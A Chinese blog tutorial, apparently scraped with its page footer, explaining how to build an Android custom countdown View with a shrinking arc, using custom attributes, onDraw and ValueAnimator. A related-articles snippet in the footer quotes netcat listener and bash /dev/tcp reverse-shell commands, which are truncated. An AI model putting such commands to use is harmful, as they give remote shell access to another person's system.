Android -- 自定义view实现keep欢迎页倒计时效果
1,最近打开keep的app的时候,发现它的欢迎页面的倒计时效果还不错,所以打算自己来写写,然后就有了这篇文章。
2,还是老规矩,先看一下我们今天实现的效果
相较于我们常见的倒计时,这次实现的效果是多了外面圆环的不断减少,这也是我们这次自定义view的有意思的一点。
知道了效果我们先来效果分析一波,首先是一个倒计时效果,计时的时候上面的圆弧不断的减少,里面的文字也不断的变化,在视觉上的改变就大致为这两部分,但是实际上我们的ui是由三部分来构成的:里面的实心圆、外面的圆弧、里面的文字。知道了我们ui的组成,我们就来开撸开撸。
在开撸之前我们还是回顾一下我们简单的自定义view的基本流程
/**
* 自定义View的几个步骤
* 1,自定义View属性
* 2,在View中获得我们的自定义的属性
* 3,重写onMeasure
* 4,重写onDraw
* 5,重写onLayout(这个决定view放置在哪儿)
*/
①、确定自定义属性
我们根据上面的基本步骤,我们知道首先我们根据效果图先来确定我们这次的自定义属性,这里我简单的分析了一下,主要添加了八个自定义属性,分别是里面实心圆的半径和颜色、圆弧的颜色和半径、里面文字的大小和颜色、总倒计时时间的长度、圆弧减少的方向(分为顺时针和逆时针),所以首先在res/values目录下创建attrs.xml文件,添加以下属性:(这里如果有对自定义属性不太了解的同学可以去了解我以前写过的这篇文章,可以更加深刻的理解)
<?xml version="1.0" encoding="utf-8"?>
<resources>
<declare-styleable name="CircleTimerView"> <attr name="solid_circle_radius" format="dimension"/>
<attr name="solid_circle_color" format="color"/>
<attr name="empty_circle_color" format="color"/>
<attr name="empty_circle_radius" format="dimension"/>
<attr name="circle_text_size" format="dimension"/>
<attr name="circle_text_color" format="color"/> <attr name="circle_draw_orientation" format="enum">
<!--顺时针-->
<enum name="clockwise" value="1"/>
<!--逆时针-->
<enum name="anticlockwise" value="2"/>
</attr> <attr name="time_length" format="integer"/> </declare-styleable>
</resources>
②、获取自定义属性、初始化一些属性
首先创建CircleTimerView类,继承自View类
public class CircleTimerView extends View { private Context context ; //里面实心圆颜色
private int mSolidCircleColor ;
//里面圆的半径
private int mSolidCircleRadius;
//外面圆弧的颜色
private int mEmptyCircleColor ;
//外面圆弧的半径(可以使用画笔的宽度来实现)
private int mEmptyCircleRadius ;
//文字大小
private int mTextSize ;
//文字颜色
private int mTextColor ;
//文字
private String mText ;
//绘制的方向
private int mDrawOrientation;
//圆弧绘制的速度
private int mSpeed;
//圆的画笔
private Paint mPaintCircle ;
//圆弧的画笔
private Paint mPaintArc ;
//绘制文字的画笔
private Paint mPaintText;
//时长
private int mTimeLength ; //默认值
private int defaultSolidCircleColor ;
private int defaultEmptyCircleColor ;
private int defaultSolidCircleRadius ;
private int defaultEmptyCircleRadius ;
private int defaultTextColor ;
private int defaultTextSize ;
private int defaultTimeLength ;
private int defaultDrawOritation ; //当前扇形的角度
private int startProgress ;
private int endProgress ;
private float currProgress ; //动画集合
private AnimatorSet set ; //回调
private OnCountDownFinish onCountDownFinish ; public CircleTimerView(Context context) {
this(context,null);
} public CircleTimerView(Context context, @Nullable AttributeSet attrs) {
this(context, attrs,0);
} public CircleTimerView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
this.context = context ; //初始化默认值
defaultSolidCircleColor = getResources().getColor(R.color.colorPrimary);
defaultEmptyCircleColor = getResources().getColor(R.color.colorAccent);
defaultTextColor = getResources().getColor(R.color.colorYellow); defaultSolidCircleRadius = (int) getResources().getDimension(R.dimen.dimen_20);
defaultEmptyCircleRadius = (int) getResources().getDimension(R.dimen.dimen_25);
defaultTextSize = (int) getResources().getDimension(R.dimen.dimen_16); defaultTimeLength = 3 ;
defaultDrawOritation = 1 ; //获取自定义属性
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.CircleTimerView);
mSolidCircleColor = a.getColor(R.styleable.CircleTimerView_solid_circle_color,defaultSolidCircleColor);
mSolidCircleRadius = a.getDimensionPixelOffset(R.styleable.CircleTimerView_solid_circle_radius ,defaultSolidCircleRadius); mEmptyCircleColor = a.getColor(R.styleable.CircleTimerView_empty_circle_color,defaultEmptyCircleColor);
mEmptyCircleRadius = a.getDimensionPixelOffset(R.styleable.CircleTimerView_empty_circle_radius ,defaultEmptyCircleRadius); mTextColor = a.getColor(R.styleable.CircleTimerView_circle_text_color,defaultTextColor);
mTextSize = a.getDimensionPixelOffset(R.styleable.CircleTimerView_circle_text_size ,defaultTextSize); mDrawOrientation = a.getInt(R.styleable.CircleTimerView_circle_draw_orientation,defaultDrawOritation);
mTimeLength = a.getInt(R.styleable.CircleTimerView_time_length ,defaultTimeLength); a.recycle(); init();
} private void init() {
//初始化画笔
mPaintCircle = new Paint();
mPaintCircle.setStyle(Paint.Style.FILL);
mPaintCircle.setAntiAlias(true);
mPaintCircle.setColor(mSolidCircleColor); mPaintArc = new Paint();
mPaintArc.setStyle(Paint.Style.STROKE);
mPaintArc.setAntiAlias(true);
mPaintArc.setColor(mEmptyCircleColor);
mPaintArc.setStrokeWidth(mEmptyCircleRadius - mSolidCircleRadius); mPaintText = new Paint();
mPaintText.setStyle(Paint.Style.STROKE);
mPaintText.setAntiAlias(true);
mPaintText.setTextSize(mTextSize);
mPaintText.setColor(mTextColor); mText= mTimeLength +"" ;
if(defaultDrawOritation == 1){
startProgress = 360 ;
endProgress = 0 ;
}else {
startProgress = 0 ;
endProgress = 360 ;
}
currProgress = startProgress ;
}
这里我在构造函数里面先初始化一些默认的值,然后获取自定义属性,然后再初始化三个画笔,分别代表:实心圆、圆弧、Text的画笔(这个很好理解),然后根据顺时针和逆时针来初始化开始角度和结束角度,很简单就不在过多的废话了。
③、重写onMeasure方法
这里由于我们的效果很简单,基本上就是一个正方形,所以这里我是以外面圆弧的半径当这个view 的宽高的,就没去判断match_parent、wrap_content之类的情况,代码如下:
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
//设置宽高
setMeasuredDimension(mEmptyCircleRadius*2,mEmptyCircleRadius*2);
}
④,重写onDraw方法
这也是我们自定义view关键,首先我们绘制圆弧和文字很简单,绘制圆弧的话可能有些同学没有接触过,这里我以前写过一篇,大家可以去看看,我们这里要用的知识点 都是一样的,所以就不再废话
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
//绘制背景圆
canvas.drawCircle(mEmptyCircleRadius,mEmptyCircleRadius,mSolidCircleRadius,mPaintCircle); //绘制圆弧
RectF oval = new RectF((mEmptyCircleRadius - mSolidCircleRadius)/2, (mEmptyCircleRadius - mSolidCircleRadius)/2
, mEmptyCircleRadius + (mEmptyCircleRadius - mSolidCircleRadius)/2+mSolidCircleRadius, mEmptyCircleRadius + (mEmptyCircleRadius - mSolidCircleRadius)/2+mSolidCircleRadius); // 用于定义的圆弧的形状和大小的界限 canvas.drawArc(oval, -90, currProgress, false, mPaintArc); // 根据进度画圆弧 //绘制文字
Rect mBound = new Rect();
mPaintText.getTextBounds(mText, 0, mText.length(), mBound);
canvas.drawText(mText, getWidth() / 2 - mBound.width() / 2, getHeight() / 2 + mBound.height() / 2, mPaintText);
}
在这个时候,我们就可以来看一下我们自定义view的效果了,将我们currProgress先写死成270,来看看我们的效果,这里注意一项在使用我们的自定义属性的时候,记得在布局文件中添加我们自定义空间。运行效果如下:
可以看到这里我们的效果基本上试出来了,关键是怎么让它动起来,这里我们的第一反应是handle或者timer来实现一个倒计时,一开始阿呆哥哥也是使用timer来实现的,不过发现由于ui的改变中是有两个不同速率的view在改变:圆弧的不断减小、textView字体的逐渐变小,所以这里使用一个timer无法实现,得用两个,如果用两个就不怎么软件工程了,所以这里打算使用动画来实现,具体代码如下:
/**
* 通过外部开关控制
*/
public void start(){ ValueAnimator animator1 = ValueAnimator.ofFloat(startProgress,endProgress);
animator1.setInterpolator(new LinearInterpolator());
animator1.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator valueAnimator) {
currProgress = (float) valueAnimator.getAnimatedValue();
invalidate();
}
}); ValueAnimator animator2 = ValueAnimator.ofInt(mTimeLength,0);
animator2.setInterpolator(new LinearInterpolator());
animator2.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator valueAnimator) {
mTimeLength = (int) valueAnimator.getAnimatedValue();
if (mTimeLength == 0)
return;
mText =mTimeLength+ "";
}
}); set = new AnimatorSet();
set.playTogether(animator1,animator2);
set.setDuration(mTimeLength * 1000); set.start(); set.addListener(new Animator.AnimatorListener() {
@Override
public void onAnimationStart(Animator animator) { } @Override
public void onAnimationEnd(Animator animator) {
if (onCountDownFinish != null){
onCountDownFinish.onFinish();
}
} @Override
public void onAnimationCancel(Animator animator) { } @Override
public void onAnimationRepeat(Animator animator) { }
}); }
很简单,就是两个ValueAnimator,监听值的改变,然后再最后完成的动画的时候使用接口回调,通知宿主完成ToDo操作,所以到这里我们基本上完全实现了我们的view 的自定义,CircleTimerView的完整代码如下:
package com.ysten.circletimerdown.view; import android.animation.Animator;
import android.animation.AnimatorSet;
import android.animation.ValueAnimator;
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Rect;
import android.graphics.RectF;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.View;
import android.view.animation.AnimationSet;
import android.view.animation.LinearInterpolator; import com.ysten.circletimerdown.R; import java.util.Timer;
import java.util.TimerTask; /**
* author : wangjitao
* e-mail : 543441727@qq.com
* time : 2017/08/14
* desc :
* version: 1.0
*/
public class CircleTimerView extends View { private Context context ; //里面实心圆颜色
private int mSolidCircleColor ;
//里面圆的半径
private int mSolidCircleRadius;
//外面圆弧的颜色
private int mEmptyCircleColor ;
//外面圆弧的半径(可以使用画笔的宽度来实现)
private int mEmptyCircleRadius ;
//文字大小
private int mTextSize ;
//文字颜色
private int mTextColor ;
//文字
private String mText ;
//绘制的方向
private int mDrawOrientation;
//圆弧绘制的速度
private int mSpeed;
//圆的画笔
private Paint mPaintCircle ;
//圆弧的画笔
private Paint mPaintArc ;
//绘制文字的画笔
private Paint mPaintText;
//时长
private int mTimeLength ; //默认值
private int defaultSolidCircleColor ;
private int defaultEmptyCircleColor ;
private int defaultSolidCircleRadius ;
private int defaultEmptyCircleRadius ;
private int defaultTextColor ;
private int defaultTextSize ;
private int defaultTimeLength ;
private int defaultDrawOritation ; //当前扇形的角度
private int startProgress ;
private int endProgress ;
private float currProgress ; //动画集合
private AnimatorSet set ; //回调
private OnCountDownFinish onCountDownFinish ; public CircleTimerView(Context context) {
this(context,null);
} public CircleTimerView(Context context, @Nullable AttributeSet attrs) {
this(context, attrs,0);
} public CircleTimerView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
this.context = context ; //初始化默认值
defaultSolidCircleColor = getResources().getColor(R.color.colorPrimary);
defaultEmptyCircleColor = getResources().getColor(R.color.colorAccent);
defaultTextColor = getResources().getColor(R.color.colorYellow); defaultSolidCircleRadius = (int) getResources().getDimension(R.dimen.dimen_20);
defaultEmptyCircleRadius = (int) getResources().getDimension(R.dimen.dimen_25);
defaultTextSize = (int) getResources().getDimension(R.dimen.dimen_16); defaultTimeLength = 3 ;
defaultDrawOritation = 1 ; //获取自定义属性
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.CircleTimerView);
mSolidCircleColor = a.getColor(R.styleable.CircleTimerView_solid_circle_color,defaultSolidCircleColor);
mSolidCircleRadius = a.getDimensionPixelOffset(R.styleable.CircleTimerView_solid_circle_radius ,defaultSolidCircleRadius); mEmptyCircleColor = a.getColor(R.styleable.CircleTimerView_empty_circle_color,defaultEmptyCircleColor);
mEmptyCircleRadius = a.getDimensionPixelOffset(R.styleable.CircleTimerView_empty_circle_radius ,defaultEmptyCircleRadius); mTextColor = a.getColor(R.styleable.CircleTimerView_circle_text_color,defaultTextColor);
mTextSize = a.getDimensionPixelOffset(R.styleable.CircleTimerView_circle_text_size ,defaultTextSize); mDrawOrientation = a.getInt(R.styleable.CircleTimerView_circle_draw_orientation,defaultDrawOritation);
mTimeLength = a.getInt(R.styleable.CircleTimerView_time_length ,defaultTimeLength); a.recycle(); init();
} private void init() {
//初始化画笔
mPaintCircle = new Paint();
mPaintCircle.setStyle(Paint.Style.FILL);
mPaintCircle.setAntiAlias(true);
mPaintCircle.setColor(mSolidCircleColor); mPaintArc = new Paint();
mPaintArc.setStyle(Paint.Style.STROKE);
mPaintArc.setAntiAlias(true);
mPaintArc.setColor(mEmptyCircleColor);
mPaintArc.setStrokeWidth(mEmptyCircleRadius - mSolidCircleRadius); mPaintText = new Paint();
mPaintText.setStyle(Paint.Style.STROKE);
mPaintText.setAntiAlias(true);
mPaintText.setTextSize(mTextSize);
mPaintText.setColor(mTextColor); mText= mTimeLength +"" ;
if(defaultDrawOritation == 1){
startProgress = 360 ;
endProgress = 0 ;
}else {
startProgress = 0 ;
endProgress = 360 ;
}
currProgress = startProgress ;
} @Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
//设置宽高
setMeasuredDimension(mEmptyCircleRadius*2,mEmptyCircleRadius*2);
} @Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
//绘制背景圆
canvas.drawCircle(mEmptyCircleRadius,mEmptyCircleRadius,mSolidCircleRadius,mPaintCircle); //绘制圆弧
RectF oval = new RectF((mEmptyCircleRadius - mSolidCircleRadius)/2, (mEmptyCircleRadius - mSolidCircleRadius)/2
, mEmptyCircleRadius + (mEmptyCircleRadius - mSolidCircleRadius)/2+mSolidCircleRadius, mEmptyCircleRadius + (mEmptyCircleRadius - mSolidCircleRadius)/2+mSolidCircleRadius); // 用于定义的圆弧的形状和大小的界限 canvas.drawArc(oval, -90, currProgress, false, mPaintArc); // 根据进度画圆弧 //绘制文字
Rect mBound = new Rect();
mPaintText.getTextBounds(mText, 0, mText.length(), mBound);
canvas.drawText(mText, getWidth() / 2 - mBound.width() / 2, getHeight() / 2 + mBound.height() / 2, mPaintText);
} public OnCountDownFinish getOnCountDownFinish() {
return onCountDownFinish;
} public void setOnCountDownFinish(OnCountDownFinish onCountDownFinish) {
this.onCountDownFinish = onCountDownFinish;
} /**
* 通过外部开关控制
*/
public void start(){ ValueAnimator animator1 = ValueAnimator.ofFloat(startProgress,endProgress);
animator1.setInterpolator(new LinearInterpolator());
animator1.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator valueAnimator) {
currProgress = (float) valueAnimator.getAnimatedValue();
invalidate();
}
}); ValueAnimator animator2 = ValueAnimator.ofInt(mTimeLength,0);
animator2.setInterpolator(new LinearInterpolator());
animator2.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator valueAnimator) {
mTimeLength = (int) valueAnimator.getAnimatedValue();
if (mTimeLength == 0)
return;
mText =mTimeLength+ "";
}
}); set = new AnimatorSet();
set.playTogether(animator1,animator2);
set.setDuration(mTimeLength * 1000); set.start(); set.addListener(new Animator.AnimatorListener() {
@Override
public void onAnimationStart(Animator animator) { } @Override
public void onAnimationEnd(Animator animator) {
if (onCountDownFinish != null){
onCountDownFinish.onFinish();
}
} @Override
public void onAnimationCancel(Animator animator) { } @Override
public void onAnimationRepeat(Animator animator) { }
}); } public void cancelAnim(){
if(set != null)
set.pause();
} public interface OnCountDownFinish{
void onFinish();
}
}
最后实现的效果如下:
Github代码地址,有需要源码的同学可以去下载一下。
Android -- 自定义view实现keep欢迎页倒计时效果的更多相关文章
- android自定义view仿照MIUI中音量控制效果
先看效果图: 这就是miui中的音量效果图,实现思路是自定义视图,绘制圆环,然后设置进度显示. 核心代码在onDraw中实现如下: @Override protected void onDraw(Ca ...
- Android自定义View——简单实现边缘凹凸电子票效果
View继承LinearLayout,在View的上下边缘画出白色的圆形即可,这里只要计算出圆的个数和圆的循环规律即可,下面请看分析 我们取卡片的前2个凹凸来看,将其分为四部分,并且两部分为循 ...
- Android自定义View——贝塞尔曲线实现水波纹效果
我们使用到的是Path类的quadTo(x1, y1, x2, y2)方法,属于二阶贝塞尔曲线,使用一张图来展示二阶贝塞尔曲线,这里的(x1,y1)是控制点,(x2,y2)是终止点,起始点默认是Pat ...
- Android 自定义View 之利用ViewPager 实现画廊效果(滑动放大缩小)
http://www.2cto.com/kf/201608/542107.html
- Android 自定义View合集
自定义控件学习 https://github.com/GcsSloop/AndroidNote/tree/master/CustomView 小良自定义控件合集 https://github.com/ ...
- android自定义View之NotePad出鞘记
现在我们的手机上基本都会有一个记事本,用起来倒也还算方便,记事本这种东东,如果我想要自己实现,该怎么做呢?今天我们就通过自定义View的方式来自定义一个记事本.OK,废话不多说,先来看看效果图. 整个 ...
- Android自定义View和控件之一-定制属于自己的UI
照例,拿来主义.我的学习是基于下面的三篇blog.前两是基本的流程,第三篇里有比较细致的绘制相关的属性.第4篇介绍了如何减少布局层次来提高效率. 1. 教你搞定Android自定义View 2. 教你 ...
- Android自定义View 画弧形,文字,并增加动画效果
一个简单的Android自定义View的demo,画弧形,文字,开启一个多线程更新ui界面,在子线程更新ui是不允许的,但是View提供了方法,让我们来了解下吧. 1.封装一个抽象的View类 B ...
- (转)[原] Android 自定义View 密码框 例子
遵从准则 暴露您view中所有影响可见外观的属性或者行为. 通过XML添加和设置样式 通过元素的属性来控制其外观和行为,支持和重要事件交流的事件监听器 详细步骤见:Android 自定义View步骤 ...
随机推荐
- 学编程担心自己英语不好吗?(IT软件开发常用英语词汇)
发一份,我们导师的收集的常用词汇,与大家共享 欢迎加入Java学习交流裙六一六九五九四四四! S 欢迎加入Java学习交流裙 六一六 九五九 四四四!
- Spring+SpringMVC+MyBatis深入学习及搭建(十五)——SpringMVC注解开发(基础篇)
转载请注明出处:http://www.cnblogs.com/Joanna-Yan/p/7065294.html 前面讲到:Spring+SpringMVC+MyBatis深入学习及搭建(十四)--S ...
- 【LeetCode】187. Repeated DNA Sequences
题目: All DNA is composed of a series of nucleotides abbreviated as A, C, G, and T, for example: " ...
- pouchdb-all-dbs插件
pouchdb-all-dbs插件 用来获取所有数据库的名字列表 https://github.com/nolanlawson/pouchdb-all-dbs 使用方法 1.引入js文件(顺序如下) ...
- powerdesinger(MSSQLSRV2008测试通过)通过Name或comment 导出注释到sql脚本,生成sql的说明备注,包括表注释信息
导出字段信息name注释到sql2008字段的说明 在database -> edit current dbms -> MSSQLSRV2008::Script\Objects\Colum ...
- Python对象类型及其运算
Python对象类型及其运算 基本要点: 程序中储存的所有数据都是对象(可变对象:值可以修改 不可变对象:值不可修改) 每个对象都有一个身份.一个类型.一个值 例: >>> a1 = ...
- Chrome浏览器扩展开发系列之七:override页面
Chrome浏览器通常提供了一些默认页面,如标签管理器页面chrome://bookmarks.浏览历史记录页面chrome://history或新建Tab页面chrome://newtab等. Ch ...
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- 业余草教你解读Spark源码阅读之HistoryServer
HistoryServer服务可以让用户通过Spark UI界面,查看历史应用(已经执行完的应用)的执行细节,比如job信息.stage信息.task信息等,该功能是基于spark eventlogs ...
- HDU 2255 奔小康赚大钱(带权二分图最大匹配)
HDU 2255 奔小康赚大钱(带权二分图最大匹配) Description 传说在遥远的地方有一个非常富裕的村落,有一天,村长决定进行制度改革:重新分配房子. 这可是一件大事,关系到人民的住房问题啊 ...